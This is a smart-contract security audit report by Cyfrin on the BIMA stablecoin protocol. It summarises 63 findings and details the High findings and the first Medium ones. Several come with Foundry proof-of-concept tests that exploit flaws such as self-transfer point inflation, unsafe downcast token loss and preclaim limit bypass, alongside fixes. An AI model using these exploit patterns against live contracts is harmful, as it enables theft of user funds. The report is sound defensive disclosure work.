BIMA Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditor

Dacian

September 27, 2024

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

BIMA is a Stablecoin protocol backed by Bitcoin Liquid (Re)Staking Tokens (LSTs/LRTs) allowing users to borrow on-chain using their Bitcoin LSTs as collateral. It also features a number of advanced features such as:

- DAO where Bima token holders who lock up their tokens for voting power can create and vote on a wide range of proposals
- highly-configurable emission rewards system which can be used to incentivize user participation with specific parts of the protocol
- liquidation engine integrated with a Stability Pool where liquidity providers can earn rewards from liquidated collateral and the native emission rewards system
- integration with popular platforms such as Curve and Convex

5 Audit Scope

The audit was started on commit 09461f0d22556e810295b12a6d7bc5c0efec4627 however due the absence of unit tests we created and committed PR39 with a Foundry test setup and some QA fixes, then created our internal repo based on that. In later commit 0d35af44924e9cf69dfd7d06936396c42b6e57c9 a new contract `StorkOracleWrapper` was added which also became part of the audit scope.

The following contracts within the `contracts` folder together with associated interfaces in the `interfaces` folder and external dependencies were included in the scope for this audit:

```
core/helpers/MultiCollateralHintHelpers.sol
core/helpers/MultiTroveGetter.sol
core/helpers/TroveManagerGetters.sol
core/BabelCore.sol
core/BorrowerOperations.sol
core/DebtToken.sol
core/Factory.sol
```

```
core/GasPool.sol
core/LiquidationManager.sol
core/PriceFeed.sol
core/SortedTroves.sol
core/StabilityPool.sol
core/StorkOracleWrapper.sol
core/TroveManager.sol
dao/AdminVoting.sol
dao/AirdropDistributor.sol
dao/AllocationVesting.sol
dao/BoostCalculator.sol
dao/EmissionSchedule.sol
dao/FeeReceiver.sol
dao/IncentiveVoting.sol
dao/InterimAdmin.sol
dao/PrismaToken.sol
dao/TokenLocker.sol
dao/Vault.sol
dependencies/BabelBase.sol
dependencies/BabelMath.sol
dependencies/BabelOwnable.sol
dependencies/DelegatedOps.sol
dependencies/SystemStart.sol
staking/Convex/ConvexDepositFactory.sol
staking/Convex/ConvexDepositToken.sol
staking/Curve/CurveDepositFactory.sol
staking/Curve/CurveDepositToken.sol
staking/Curve/CurveProxy.sol
interfaces/*.sol
```

6 Executive Summary

Over the course of 28 days, the Cyfrin team conducted an audit on the BIMA smart contracts provided by BIMA. In this period, a total of 63 issues were found.

The findings consist of 4 High, 9 Medium & 17 Low severity issues with the remainder being informational and gas optimizations.

Of the 4 Highs:

- 7.1.1 allowed a token vesting allocation receiver to artificially increase their allocated points which could be used to drain the vesting token supply
- 7.1.2 caused a loss of accrued rewards in the Curve & Convex integration
- 7.1.3 makes it impossible to liquidate a borrower when a `TroveManager` has only 1 active borrower
- 7.1.4 resulted in a permanent loss of emitted tokens allocated to a disabled emissions receiver

The 9 Medium and 17 Low severity findings were a wide mix of various issues.

While resolving 7.3.9 we identified a Critical vulnerability in Prisma Finance (which Bima forked) that would allow an attacker to drain the Stability Pool's collateral tokens.

Considering the number of issues identified it is statistically likely that there are more complex bugs hiding that could not be identified given the time-boxed audit engagement. Due to the significant changes during mitigation & the number of issues found it is recommended that a competitive audit be undertaken prior to deploying significant monetary capital on mainnet.

Test Suite Analysis:

The protocol did not have a test suite. As part of the audit we created a test suite using Foundry making heavy use of stateless fuzz testing which achieved coverage levels of:

- 92.7% for `core` (excluding `helpers`)
- 89.6% for `dao`
- 91.3% for `dependencies`

We wrote tests in a targeted manner focusing on areas of the codebase with the most complexity and this resulted in many of the Medium/Low findings. As findings were resolved we turned the PoCs into unit tests which we added to the test suite to verify fixes and prevent future regressions. We recommend the protocol team continues to add additional missing coverage notably for the `helpers` and `staking` components.

Code Quality Analysis:

The protocol consists of a large number of inter-related contracts that have many optional features which can be configured in various ways - this results in a large amount of inter-related complexity presenting attackers with a large attack surface to target.

Some Solidity language features were not being used correctly; for example implementation contracts were not inheriting from their interfaces such that no compile-time checks were occuring resulting in some interfaces being broken compared to the contract implementations. We submitted several patches which significantly improved the codebase's usage of Solidity language features.

Large portions of the code were not using spacing or comments; it was common to see chunks of sequential lines of code stuck together, making it very difficult to understand or reason about what the code is doing. We submitted patches to introduce spacing and explanatory comments into many of the contracts to aid human understanding of what the code is trying to achieve.

Summary

Project Name	BIMA
Repository	bima-v1-core
Commit	ec35b0a360f5...
Audit Timeline	Aug 15th - Sept 23th
Methods	Manual Review, Stateless Fuzzing

Issues Found

Critical Risk	0
High Risk	4
Medium Risk	9
Low Risk	17
Informational	18
Gas Optimizations	15
Total Issues	63

Summary of Findings

[H-1] `AllocationVesting` contract can be exploited for infinite points via self-transfer	Resolved
[H-2] The `fetchRewards` function in `CurveDepositToken` and `ConvexDepositToken` causes a loss of accrued rewards	Resolved
[H-3] Impossible to liquidate borrower when a `TroveManager` instance only has 1 active borrower	Resolved
[H-4] Permanent loss of `BabelToken` if a disabled emissions receiver doesn't call `Vault::allocateNewEmissions`	Resolved
[M-1] Loss of user locked voting tokens due to unsafe downcast overflow	Resolved
[M-2] Maximum preclaim limit can be easily bypassed to preclaim entire token allocation	Resolved
[M-3] When `BabelVault` uses an `EmissionSchedule` but receivers have no voting weight, the vault's unallocated supply will decrease even though no tokens are being allocated	Resolved
[M-4] Disabled receiver can lose tokens that were allocated for past weeks if not regularly claiming emissions	Acknowledged
[M-5] `IncentiveVoting::unfreeze` doesn't remove votes if a user has voted with unfrozen weight prior to freezing	Resolved
[M-6] `StorkOracleWrapper` downscales 18 decimal price to 8 decimals then `PriceFeed` upscales to 18 decimals resulting in inaccurate price	Resolved
[M-7] No checks for L2 Sequencer being down	Acknowledged
[M-8] `PriceFeed` will use incorrect price when underlying aggregator reaches `minAnswer`	Resolved
[M-9] Some `TroveManager` debt emission rewards can be lost	Acknowledged
[L-01] Implementation contracts should inherit from their interfaces enabling compile-time checks ensuring implementations correctly implement their interfaces	Resolved
[L-02] `DebtToken::flashLoan` fees can be bypassed by borrowing in small amounts	Resolved
[L-03] Using `ecrecover` directly vulnerable to signature malleability	Resolved
[L-04] Proposal creation bypasses minimum voting weight requirement when no tokens are locked hence no voting power exists	Resolved
[L-05] Easily bypass `setGuardian` proposal passing requirement	Resolved
[L-06] Don't allow cancellation of executed or cancelled proposals	Resolved
[L-07] `TokenLocker::getTotalWeightAt` should loop until input `week` not `systemWeek`	Resolved
[L-08] Less tokens can be allocated to emission receivers than weekly emissions due to precision loss from division before multiplication	Resolved
[L-09] `StabilityPool::claimCollateralGains` should accrue depositor collateral gains before claiming	Resolved

[L-10] `StabilityPool::claimableReward` incorrectly returns lower than actual value as it doesn't include `storedPendingReward`	Resolved
[L-11] `StabilityPool` user functions panic revert if more than 256 collaterals are enabled	Resolved
[L-12] `setGuardian` proposals may incorrectly set lower passing percent if current default is greater than hard-coded value for guardian proposals	Resolved
[L-13] Prevent panic from division by zero in `BabelBase::_requireUserAcceptsFee`	Resolved
[L-14] `TokenLocker::withdrawWithPenalty` doesn't reset account bitfield when dust handling results in no remaining locked tokens	Resolved
[L-15] `TroveManager::redeemCollateral` can return less collateral tokens than expected due to rounding down to zero precision loss	Resolved
[L-16] `StabilityPool` should use per-collateral rounding error compensation	Resolved
[L-17] `StabilityPool` reward calculation loses small amounts of vault emission rewards	Acknowledged
[I-01] Avoid floating pragma unless creating libraries	Resolved
[I-02] Use named imports instead of importing the entire namespace	Resolved
[I-03] Use explicit `uint256` instead of generic `uint`	Resolved
[I-04] Emit events for important parameter changes	Resolved
[I-05] Use named mapping parameters	Resolved
[I-06] Incorrect comment regarding the configuration of `DebtToken::FLASH_LOAN_FEE` parameter	Resolved
[I-07] `TokenLocker::withdrawWithPenalty` should revert if nothing is withdrawn	Resolved
[I-08] Enforce > 0 passing percent configuration in `AdminVoting::setPassingPct`	Resolved
[I-09] `TokenLocker::freeze` always emits `LocksFrozen` event with 0 amount	Resolved
[I-10] `BorrowingFeePaid` event should include token that was repaid	Resolved
[I-11] `BabelVault::registerReceiver` should check `bool` return when calling `IEmissionReceiver::notifyRegisteredId`	Resolved
[I-12] Enforce 18 decimal collateral tokens in `Factory::deployNewInstance`	Resolved
[I-13] Consolidate `10000`, `MAX_FEE_PCT` and `MAX_PCT` used in many contracts into one shared constant	Resolved
[I-14] Consolidate `DECIMAL_PRECISION` used in three contracts into one shared constant	Resolved
[I-15] Consolidate `SCALE_FACTOR` used in two contracts into one shared constant	Resolved
[I-16] Consolidate `REWARD_DURATION` used in four contracts into one shared constant	Resolved
[I-17] Use `ITroveManager::Status` enum types instead of casting to `uint256`	Resolved
[I-18] `StorkOracleWrapper` assumes all price feeds return 18 decimal prices	Acknowledged

[G-01] Don't initialize to default values	Resolved
[G-02] Remove redundant `token` parameter from `DebtToken::maxFlashLoan`, `flashFee`, `flashLoan`	Resolved
[G-03] Cache storage variables when same values read multiple times	Resolved
[G-04] Prefer assignment to named return variables and remove explicit return statements	Resolved
[G-05] Refactor `AdminVoting::minCreateProposalWeight` to eliminate unnecessary variables and multiple calls to `getWeek`	Resolved
[G-06] Remove duplicate calculation in `TokenLocker::withdrawWithPenalty`	Resolved
[G-07] Re-order `TokenLocker::penaltyWithdrawalsEnabled` to save 1 storage slot	Resolved
[G-08] More efficient and simpler implementation of `BabelVault::setReceiverIsActive`	Resolved
[G-09] Remove `BabelVault::receiverUpdatedWeek` and add `updatedWeek` member to struct `Receiver`	Resolved
[G-10] Don't cache `calldata` array length	Resolved
[G-11] Use `calldata` instead of `memory` for inputs to `external` functions	Resolved
[G-12] Save 2 storage reads in `StabilityPool::enableCollateral`	Resolved
[G-13] Save two storage slots by better storage packing in `TroveManager`	Resolved
[G-14] Optimize away `currentActiveDebt` and `activeInterests` variables from `TroveManager::getEntireSystemDebt`	Resolved
[G-15] Delete `TroveManager::_removeStake` and perform this as part of `_closeTrove` since they always occur together	Resolved

7 Findings

7.1 High Risk

7.1.1 `AllocationVesting` contract can be exploited for infinite points via self-transfer

Description: The `AllocationVesting` contract gives points on vesting schedules to team members, investors, influencers and anyone else entitled to a token allocation.

`AllocationVesting::transferPoints` allows users to transfer points however this function does not correctly handle self-transfer meaning users can exploit it by transferring points to themselves, giving themselves infinite points:

```
// update storage - deduct points from `from` using memory cache
allocations[from].points = uint24(fromAllocation.points - points);

// we don't use fromAllocation as it's been modified with _claim()
allocations[from].claimed = allocations[from].claimed - claimedAdjustment;

// @audit doesn't correctly handle self-transfer since the memory
// cache of `toAllocation.points` will still contain the original
// value of `fromAllocation.points`, so this can be exploited by
// self-transfer to get infinite points
//
// update storage - add points to `to` using memory cache
allocations[to].points = toAllocation.points + uint24(points);
```

Impact: Anyone entitled to an allocation can give themselves infinite points and hence receive more tokens than they should receive.

Proof of Concept: Add the following PoC contract to `test/foundry/dao/AllocationInvestingTest.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

// test setup
import {TestSetup, IBabelVault, ITokenLocker} from "../TestSetup.sol";
import {AllocationVesting} from "./../../../contracts/dao/AllocationVesting.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract AllocationVestingTest is TestSetup {
    AllocationVesting internal allocationVesting;

    uint256 internal constant totalAllocation = 100_000_000e18;
    uint256 internal constant maxTotalPreclaimPct = 10;

    function setUp() public virtual override {
        super.setUp();

        allocationVesting = new AllocationVesting(IERC20(address(babelToken)),
                                                  tokenLocker,
                                                  totalAllocation,
                                                  address(babelVault),
                                                  maxTotalPreclaimPct);
    }

    function test_InfinitePointsExploit() external {
        AllocationVesting.AllocationSplit[] memory allocationSplits
            = new AllocationVesting.AllocationSplit[](2);
        uint24 INIT_POINTS = 50000;

        // allocate to 2 users 50% 50%
        allocationSplits[0].recipient = users.user1;
        allocationSplits[0].points = INIT_POINTS;
        allocationSplits[0].numberOfWeeks = 4;

        allocationSplits[1].recipient = users.user2;
        allocationSplits[1].points = INIT_POINTS;
        allocationSplits[1].numberOfWeeks = 4;

        // setup allocations
        uint256 vestingStart = block.timestamp + 1 weeks;
        allocationVesting.setAllocations(allocationSplits, vestingStart);

        // warp to start time
        vm.warp(vestingStart + 1);

        // attacker transfers their total initial point balance to themselves
        vm.prank(users.user1);
        allocationVesting.transferPoints(users.user1, users.user1, INIT_POINTS);

        // attacker then has double the points
        (uint24 points, , , ) = allocationVesting.allocations(users.user1);
        assertEq(points, INIT_POINTS*2);

        // does it again transferring the new larger value
        vm.prank(users.user1);
        allocationVesting.transferPoints(users.user1, users.user1, points);

        // has double again (4x from the initial points)
        (points, , , ) = allocationVesting.allocations(users.user1);
        assertEq(points, INIT_POINTS*4);

        // can go on forever to get infinite points
    }
}
```

Comment out the token transfer inside `AllocationVesting::_claim` since the setup is very basic:

```
        // @audit commented out for PoC
        //vestingToken.transferFrom(vault, msg.sender, claimable);
```

Run with: `forge test --match-test test_InfinitePointsExploit`

Recommended Mitigation: Prevent self-transfer in `AllocationVesting::transferPoints`:

```
+   error SelfTransfer();

    function transferPoints(address from, address to, uint256 points) external callerOrDelegated(from) {
+       if(from == to) revert SelfTransfer();
```

Bima: Fixed in commit ce0f8ce.

Cyfrin: Verified.

7.1.2 The fetchRewards function in CurveDepositToken and ConvexDepositToken causes a loss of accrued rewards

Description: The fetchRewards function in CurveDepositToken and ConvexDepositToken fails to call _updateIntegrals prior to calling _fetchRewards.

This results in a loss of accrued rewards from block.timestamp - lastUpdate since:

- _fetchRewards updates lastUpdate and periodFinish using block.timestamp
- hence future calls to _updateIntegrals will not increase rewardIntegral[i] for the duration block.timestamp - lastUpdate

Note that deposit and withdraw always call _updateIntegrals immediately before calling _fetchRewards.

Impact: Loss of accrued rewards.

Recommended Mitigation: fetchRewards should call _updateIntegrals before calling _fetchRewards:

```
function fetchRewards() external {
    require(block.timestamp / 1 weeks >= periodFinish / 1 weeks, "Can only fetch once per week");
+   _updateIntegrals(address(0), 0, totalSupply);
    _fetchRewards();
}
```

_updateIntegrals also needs to be changed to not execute the final account-related section in this case:

```
+ if (account != address(0)) {
    uint256 integralFor = rewardIntegralFor[account][i];
    if (integral > integralFor) {
        storedPendingReward[account][i] += uint128((balance * (integral - integralFor)) / 1e18);
        rewardIntegralFor[account][i] = integral;
    }
+ }
```

Bima: Fixed in commit 4156484.

Cyfrin: Verified.

7.1.3 Impossible to liquidate borrower when a TroveManager instance only has 1 active borrower

Description: When a TroveManager instance only has 1 active borrower it is impossible to liquidate that borrower since LiquidationManager::liquidateTroves only executes code within the while loop and if statement when troveCount > 1:

```
uint256 troveCount = troveManager.getTroveOwnersCount();
...
while (trovesRemaining > 0 && troveCount > 1) {
...
if (trovesRemaining > 0 && !troveManagerValues.sunsetting && troveCount > 1) {
```

Because the code inside the while loop and if statement never gets executed, totals.totalDebtInSequence is never set to a value which results in this revert:

```
require(totals.totalDebtInSequence > 0, "TroveManager: nothing to liquidate");
```

The same problem applies to LiquidationManager::batchLiquidateTroves which has a similar while loop and if statement condition:

```
uint256 troveCount = troveManager.getTroveOwnersCount();
...
while (troveIter < length && troveCount > 1) {
...
if (troveIter < length && troveCount > 1) {
```

And reverts with the same error:

```
require(totals.totalDebtInSequence > 0, "TroveManager: nothing to liquidate");
```

Impact: It is impossible to liquidate a borrower when a `TroveManager` instance only has 1 active borrower. The borrower can be liquidated once other borrowers become active on the same `TroveManager` instance but this can result in late liquidation with loss of funds to the protocol.

Additionally it is permanently impossible to liquidate the last active borrower in a `TroveManager` that is sunsetting, since in that case no new active borrowers can be created.

Proof of Concept: Add the following PoC contract to `test/foundry/core/LiquidationManagerTest.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

// test setup
import {BorrowerOperationsTest} from "./BorrowerOperationsTest.t.sol";

contract LiquidationManagerTest is BorrowerOperationsTest {

    function setUp() public virtual override {
        super.setUp();

        // verify staked btc trove manager enabled for liquidation
        assertTrue(liquidationMgr.isTroveManagerEnabled(stakedBTCTroveMgr));
    }

    function test_impossibleToLiquidateSingleBorrower() external {
        // depositing 2 BTC collateral (price = $60,000 in MockOracle)
        // use this test to experiment with different hard-coded values
        uint256 collateralAmount = 2e18;

        uint256 debtAmountMax
            = (collateralAmount * _getScaledOraclePrice() / borrowerOps.CCR())
              - INIT_GAS_COMPENSATION;

        _openTrove(users.user1, collateralAmount, debtAmountMax);

        // set new value of btc to $1 which should ensure liquidation
        mockOracle.setResponse(mockOracle.roundId() + 1,
                               int256(1 * 10 ** 8),
                               block.timestamp + 1,
                               block.timestamp + 1,
                               mockOracle.answeredInRound() + 1);
        // warp time to prevent cached price being used
        vm.warp(block.timestamp + 1);

        // then liquidate the user - but it fails since the
        // `while` and `for` loops get bypassed when there is
        // only 1 active borrower!
        vm.expectRevert("LiquidationManager: nothing to liquidate");
        liquidationMgr.liquidate(stakedBTCTroveMgr, users.user1);
        // attempting to use the other liquidation function has same problem
        uint256 mcr = stakedBTCTroveMgr.MCR();
        vm.expectRevert("LiquidationManager: nothing to liquidate");
        liquidationMgr.liquidateTroves(stakedBTCTroveMgr, 1, mcr);

        // the borrower is impossible to liquidate
    }
}
```

Run with `forge test --match-test test_impossibleToLiquidateSingleBorrower`.

Recommended Mitigation: Simply changing `troveCount >= 1` results in a panic divide by zero inside `TroveManager::_redistributeDebtAndColl`. A possible solution is to add the following in that function:

```
        uint256 totalStakesCached = totalStakes;

+       // if there is only 1 trove open and that is being liquidated, prevent
+       // a panic during liquidation due to divide by zero
+       if(totalStakesCached == 0) {
+           totalStakesCached = 1;
+       }

        // Get the per-unit-staked terms
```

With this change it appears safe to enable `troveCount >= 1` everywhere but inside `LiquidationManager::liquidateTroves` there is some code that looks for other troves which may cause problems if executing when only 1 Trove exists.

Note: in the existing code there is this comment which indicates that "liquidating the final trove" is blocked to allow a `TroveManager` being sunset to be closed. But the current implementation prevents liquidation of any single trove at any time.

The suggested fix may prevent a sunsetting `TroveManager` from being closed if the last trove is liquidated since this would result in a state where `defaultedDebt > 0` and hence `TroveManager::getEntireSystemDebt` would return > 0 which causes this check to return false.

Bima: We will handle this by having or own trove on each `TroveManager` with minimal debt and highest CR. This will ensure everyone is liquidatable and also during sunsetting we can just close our own trove which will be the final one.

7.1.4 Permanent loss of `BabelToken` if a disabled emissions receiver doesn't call `Vault::allocateNewEmissions`

Description: `BabelToken` is permanently lost if a disabled emissions receiver doesn't call `Vault::allocateNewEmissions` as:

- `Vault::_allocateTotalWeekly` allocates `BabelToken` according to total weekly votes which contain votes for disabled receivers
- if a disabled receiver doesn't call `Vault::allocateNewEmissions`, the already allocated tokens for the receiver won't be used to increase `BabelVault::unallocatedTotal` - they will simply be "lost"
- `Vault::allocateNewEmissions` can only be called by the receiver and a disabled receiver doesn't have any incentive to call this function
- The loss of tokens increases with the amount of disabled receivers

Impact: Permanent loss of `BabelToken` after disabling emissions receivers.

Proof of Concept: Add the PoC function to test/foundry/dao/VaultTest.t.sol:

```
function test_allocateNewEmissions_tokensLostAfterDisablingReceiver() public {
    // setup vault giving user1 half supply to lock for voting power
    uint256 initialUnallocated = _vaultSetupAndLockTokens(INIT_BAB_TKN_TOTAL_SUPPLY/2);

    // receiver to be disabled later
    address receiver1 = address(mockEmissionReceiver);
    uint256 RECEIVER_ID1 = _vaultRegisterReceiver(receiver1, 1);

    // ongoing receiver
    MockEmissionReceiver mockEmissionReceiver2 = new MockEmissionReceiver();
    address receiver2 = address(mockEmissionReceiver2);
    uint256 RECEIVER_ID2 = _vaultRegisterReceiver(receiver2, 1);

    // user votes for receiver1 to get emissions with 50% of their points
    IIncentiveVoting.Vote[] memory votes = new IIncentiveVoting.Vote[](1);
    votes[0].id = RECEIVER_ID1;
    votes[0].points = incentiveVoting.MAX_POINTS() / 2;
    vm.prank(users.user1);
    incentiveVoting.registerAccountWeightAndVote(users.user1, 52, votes);

    // user votes for receiver2 to get emissions with 50% of their points
    votes[0].id = RECEIVER_ID2;
    vm.prank(users.user1);
    incentiveVoting.vote(users.user1, votes, false);

    // disable emission receiver 1 prior to calling allocateNewEmissions
    vm.prank(users.owner);
    babelVault.setReceiverIsActive(RECEIVER_ID1, false);

    // warp time by 1 week
    vm.warp(block.timestamp + 1 weeks);

    // cache current system week
    uint16 systemWeek = SafeCast.toUint16(babelVault.getWeek());

    // initial unallocated supply has not changed
    assertEq(babelVault.unallocatedTotal(), initialUnallocated);

    // receiver calls allocateNewEmissions
    vm.prank(receiver2);
    uint256 allocatedToEachReceiver = babelVault.allocateNewEmissions(RECEIVER_ID2);

    // verify BabelVault::totalUpdateWeek is current system week
    assertEq(babelVault.totalUpdateWeek(), systemWeek);

    // verify receiver1 and receiver2 have the same allocated amounts
    uint256 firstWeekEmissions = initialUnallocated*INIT_ES_WEEKLY_PCT/BIMA_100_PCT;
    assertTrue(firstWeekEmissions > 0);
    assertEq(babelVault.unallocatedTotal(), initialUnallocated - firstWeekEmissions);
    assertEq(firstWeekEmissions, allocatedToEachReceiver * 2);

    // if receiver1 doesn't call allocateNewEmissions the tokens they would
    // have received would never be allocated. Only if receiver1 calls allocateNewEmissions
    // do the tokens move into BabelVault::unallocatedTotal
    //
    // verify unallocated is increasing if receiver1 calls allocateNewEmissions
    vm.prank(receiver1);
    babelVault.allocateNewEmissions(RECEIVER_ID1);
    assertEq(babelVault.unallocatedTotal(), initialUnallocated - firstWeekEmissions +
    ↪  allocatedToEachReceiver);
    // since receiver1 was disabled they have no incentive to call allocateNewEmissions
    // allocateNewEmissions only allows the receiver to call it so admin is
    // unable to rescue those tokens
}
```

Run with: `forge test --match-test test_allocateNewEmissions_tokensLostAfterDisablingReceiver`

Recommended Mitigation: Anyone should be able to call `Vault::allocateNewEmissions` for disabled receivers to recover the allocated funds. And voting shouldn't be allowed for disabled receivers to prevent users from voting for disabled receivers to "steal" emissions from enabled receivers they don't like.

Bima: Fixed in commits 42e2ed5 & 5a7f862.

Cyfrin: Verified.

7.2 Medium Risk

7.2.1 Loss of user locked voting tokens due to unsafe downcast overflow

Description: TokenLocker::AccountData stores the account's current locked, unlocked and frozen balances using uint32:

```
struct AccountData {
    // Currently locked balance. Each week the lock weight decays by this amount.
    uint32 locked;
    // Currently unlocked balance (from expired locks, can be withdrawn)
    uint32 unlocked;
    // Currently "frozen" balance. A frozen balance is equivalent to a `MAX_LOCK_WEEKS` lock,
    // where the lock weight does not decay weekly. An account may have a locked balance or a
    // frozen balance, never both at the same time.
    uint32 frozen;
```

Inside TokenLocker::_lock the input uint256 _amount token value which the user is locking gets unsafely downcast into uint32:

```
accountData.locked = uint32(accountData.locked + _amount);
```

Then in TokenLocker::_weeklyWeightWrite, accountData.locked is read into a uint256 in the calculation to update the unlocked amount but this is useless as the downcast has already occurred:

```
uint256 locked = accountData.locked;
```

Finally in TokenLocker::withdrawExpiredLocks this will either revert with "No unlocked tokens" if the overflow resulted in 0, or will transfer back to the user far less tokens than they initially locked up:

```
function withdrawExpiredLocks(uint256 _weeks) external returns (bool) {
    _weeklyWeightWrite(msg.sender);
    getTotalWeightWrite();

    AccountData storage accountData = accountLockData[msg.sender];
    uint256 unlocked = accountData.unlocked;
    require(unlocked > 0, "No unlocked tokens");
    accountData.unlocked = 0;
    if (_weeks > 0) {
        _lock(msg.sender, unlocked, _weeks);
    } else {
        lockToken.transfer(msg.sender, unlocked * lockToTokenRatio);
        emit LocksWithdrawn(msg.sender, unlocked, 0);
    }
    return true;
}
```

Impact: Loss of user locked voting tokens due to unsafe downcast overflow.

Proof of Concept: For a simple example, in test/foundry/TestSetup.sol set INIT_BAB_TKN_TOTAL_SUPPLY to something greater than type(uint32).max and set INIT_LOCK_TO_TOKEN_RATIO = 1 eg:

```
uint256 internal constant INIT_LOCK_TO_TOKEN_RATIO = 1;
uint256 internal constant INIT_BAB_TKN_TOTAL_SUPPLY = 1_000_000e18;
```

Add following test contract to test/foundry/dao/TokenLockerTest.t.sol:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

// test setup
import {TestSetup, IBabelVault} from "../TestSetup.sol";

contract TokenLockerTest is TestSetup {

    function setUp() public virtual override {
        super.setUp();

        // setup the vault to get BabelTokens which are used for voting
        uint128[] memory _fixedInitialAmounts;
        IBabelVault.InitialAllowance[] memory initialAllowances
            = new IBabelVault.InitialAllowance[](1);

        // give user1 allowance over the entire supply of voting tokens
        initialAllowances[0].receiver = users.user1;
        initialAllowances[0].amount = INIT_BAB_TKN_TOTAL_SUPPLY;

        vm.prank(users.owner);
        babelVault.setInitialParameters(emissionSchedule,
                                        boostCalc,
                                        INIT_BAB_TKN_TOTAL_SUPPLY,
                                        INIT_VLT_LOCK_WEEKS,
                                        _fixedInitialAmounts,
                                        initialAllowances);

        // transfer voting tokens to recipients
        vm.prank(users.user1);
        babelToken.transferFrom(address(babelVault), users.user1, INIT_BAB_TKN_TOTAL_SUPPLY);

        // verify recipients have received voting tokens
        assertEq(babelToken.balanceOf(users.user1), INIT_BAB_TKN_TOTAL_SUPPLY);
    }

    function test_withdrawExpiredLocks_LossOfLockedTokens() external {
        // save user initial balance
        uint256 userInitialBalance = babelToken.balanceOf(users.user1);
        assertEq(userInitialBalance, INIT_BAB_TKN_TOTAL_SUPPLY);

        // assert overflow will occur
        assertTrue(userInitialBalance > uint256(type(uint32).max)+1);

        // first lock up entire user balance for 1 week
        vm.prank(users.user1);
        tokenLocker.lock(users.user1, userInitialBalance, 1);

        // advance time by 2 week
        vm.warp(block.timestamp + 2 weeks);
        uint256 weekNum = 2;
        assertEq(tokenLocker.getWeek(), weekNum);

        // withdraw without re-locking to get all locked tokens back
        vm.prank(users.user1);
        tokenLocker.withdrawExpiredLocks(0);

        // verify user received all their tokens back
        assertEq(babelToken.balanceOf(users.user1), userInitialBalance);

        // fails with 2701131776 != 1000000000000000000000000
        // user locked   1000000000000000000000000
        // user unlocked 2701131776
        // critical loss of funds
    }
}
```

Run with: `forge test --match-test test_withdrawExpiredLocks_LossOfLockedTokens -vvv`

Recommended Mitigation: Limit the total supply of the voting token to be `<= type(uint32).max * lockToTokenRatio` and use OpenZeppelin's `SafeCast` library instead of performing unsafe downcasts.

The supply limit should be placed inside `BabelVault::setInitialParameters` like this:

```
// enforce invariant described in TokenLocker to prevent overflows
require(totalSupply <= type(uint32).max * locker.lockToTokenRatio(),
        "Total supply must be <= type(uint32).max * lockToTokenRatio");
```

This is actually noted in this comment but never enforced anywhere.

Bima: Fixed in commits 9b69cbc and 7a52f26.

Cyfrin: Verified.

7.2.2 Maximum preclaim limit can be easily bypassed to preclaim entire token allocation

Description: The `AllocationVesting` contract allows token recipients to preclaim up to a maximum of their total token allocation, however this limit can easily by passed allowing recipients to preclaim their entire allocations.

Impact: Token allocation recipients can preclaim their entire allocations. Since preclaim performs a max-length lock via `TokenLocker`, this can be abused to quickly gain far greater voting power in the DAO than would otherwise be possible.

Proof of Concept: Add the PoC function to `test/foundry/dao/AllocationInvestingTest.t.sol`:

```
function test_transferPoints_BypassVestingViaPreclaim() external {
    AllocationVesting.AllocationSplit[] memory allocationSplits
        = new AllocationVesting.AllocationSplit[](2);

    uint24 INIT_POINTS = 50000;

    // allocate to 2 users 50% 50%
    allocationSplits[0].recipient = users.user1;
    allocationSplits[0].points = INIT_POINTS;
    allocationSplits[0].numberOfWeeks = 4;

    allocationSplits[1].recipient = users.user2;
    allocationSplits[1].points = INIT_POINTS;
    allocationSplits[1].numberOfWeeks = 4;

    // setup allocations
    uint256 vestingStart = block.timestamp + 1 weeks;
    allocationVesting.setAllocations(allocationSplits, vestingStart);

    // warp to start time
    vm.warp(vestingStart + 1);

    // each entity receiving allocations is entitled to 10% preclaim
    // which they can use to get voting power by locking it up in TokenLocker
    uint256 MAX_PRECLAIM = (maxTotalPreclaimPct * totalAllocation) / (2 * 100);

    // user1 does this once, passing 0 to preclaim max possible
    vm.prank(users.user1);
    allocationVesting.lockFutureClaimsWithReceiver(users.user1, users.user1, 0);

    // user1 has now preclaimed the max allowed
    (, , , uint96 preclaimed) = allocationVesting.allocations(users.user1);
    assertEq(preclaimed, MAX_PRECLAIM);

    // user1 attempts it again
    vm.prank(users.user1);
    allocationVesting.lockFutureClaimsWithReceiver(users.user1, users.user1, 0);

    // but nothing additional is preclaimed
    (, , , preclaimed) = allocationVesting.allocations(users.user1);
    assertEq(preclaimed, MAX_PRECLAIM);

    // user 1 needs to wait 3 days to bypass LockedAllocation revert
    vm.warp(block.timestamp + 3 days);

    // user1 calls `transferPoints` to move their points to a new address
    address user1Second = address(0x1337);
    vm.prank(users.user1);
    allocationVesting.transferPoints(users.user1, user1Second, INIT_POINTS);

    // since `transferPoints` doesn't transfer preclaimed amounts, the
    // new address has its preclaimed amount as 0
    (, , , preclaimed) = allocationVesting.allocations(user1Second);
    assertEq(preclaimed, 0);

    // user1 now uses their secondary address to preclaim a second time!
    vm.prank(user1Second);
    allocationVesting.lockFutureClaimsWithReceiver(user1Second, user1Second, 0);

    // user1 was able to claim 2x the max preclaim
    (, , , preclaimed) = allocationVesting.allocations(user1Second);
    assertEq(preclaimed, MAX_PRECLAIM);

    // user1 can continue this strategy to preclaim their entire
    // token allocation which would give them significantly greater
    // voting power in the DAO, since each preclaim performs a max
    // length lock via TokenLocker to give voting weight
}
```

Comment out the token transfers inside `AllocationVesting::_claim` and `lockFutureClaimsWithReceiver` since the setup is very basic.

Run with: `forge test --match-test test_transferPoints_BypassVestingViaPreclaim`

